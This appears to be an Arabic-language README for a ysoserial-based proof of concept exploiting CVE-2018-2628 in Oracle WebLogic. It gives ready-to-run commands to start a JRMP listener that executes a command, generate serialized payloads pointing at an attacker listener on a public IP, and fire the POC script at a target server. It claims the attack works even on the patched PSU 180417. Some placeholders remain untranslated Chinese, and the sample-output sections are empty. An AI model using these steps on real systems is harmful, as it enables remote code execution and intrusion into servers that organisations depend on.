ysoserial-cve-2018-2628

0x1. التحضيرات

• تجهيز بيئة البرامج اللازمة لسكربت POC وتوليد كائن Payload وتشغيل JRMPListener
  Python 2.7.x
  Oracle Java SE 1.7+
• تجهيز بيئة WebLogic Server 10.3.6 مثبّت عليها تصحيح Patch Set Update 180417 (يكفي توفر AdminServer فقط)
  إذا كانت لديك بيئة WebLogic جاهزة ومثبت عليها هذا الإصدار من PSU، يمكنك تخطي هذه الخطوة.
• تجهيز أدوات POC
  قم بتحميل سكربت POC من هذا المشروع (wls-cve-2018-2628-poc.py)
  قم بتحميل ملف الجرة الخاص بتوليد كائن Payload وبرنامج JRMPListener من صفحة release في هذا المشروع (ysoserial-<version>-cve-2018-2628-all.jar)

0x2. تشغيل JRMPListener

صيغة الأمر:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>

مثال:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

عند رؤية المخرجات *Opening JRMP listener on 22801، سجّل عنوان IP الخاص بالجهاز الذي يعمل عليه JRMPListener (في المثال تم تشغيله على جهاز Alibaba Cloud ECS بعنوان IP عام 47.94.158.125) والمنفذ المحدد.

0x3. توليد سلسلة Payload بناءً على عنوان IP ومنفذ الاستماع لـ JRMPListener من الخطوة السابقة

يوجد حاليًا طريقتان معروفتان (عند توليد سلسلة كائن Payload، اختر إحدى الطريقتين التاليتين):

• استخدام java.rmi.activation.Activator[CVE-2017-3248]

صيغة الأمر لتوليد سلسلة كائن Payload:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

مثال:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

نموذج (بيانات الإخراج الثنائية لكائن Payload المُولَّد باستخدام JRMPClient2):

• استخدام weblogic.jms.common.StreamMessageImpl لتغليف java.rmi.registry.Registry

صيغة الأمر لتوليد سلسلة كائن Payload:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

مثال:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

نموذج (بيانات الإخراج الثنائية لكائن Payload المُولَّد باستخدام JRMPClient3):

0x4. تحرير سكربت POC وتشغيله

قم بتحرير wls-cve-2018-2628-poc.py، واستبدل قيمة المتغير المسمى payload_str في أعلى السكربت بسلسلة hex التي تم توليدها في الخطوة السابقة (يمكن استخدام القيمتين الموجودتين مسبقًا للمتغير payload_str في هذا السكربت مباشرة، وتتوافقان مع سلاسل hex الناتجة عن الطريقتين أعلاه).

صيغة الأمر:

python wls-cve-2018-2628-poc.py <目标WebLogic Server实例监听IP> <目标WebLogic Server实例监听端口>

مثال:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001

نموذج (بعد تثبيت Patch Set Update 180417):

0x5. شكر وتقدير

xxlegend@nsfocus (أحد مكتشفي ومقدمي ثغرة CVE-2018-2628، وكشف طريقة الاستغلال وأمثلة الكود ذات الصلة)
badcode@knownsec (قدّم مثال الكود الخاص بتغليف java.rmi.registry.Registry باستخدام weblogic.jms.common.StreamMessageImpl)
ysoserial project (يجمع العديد من برامج استغلال إلغاء تسلسل Java)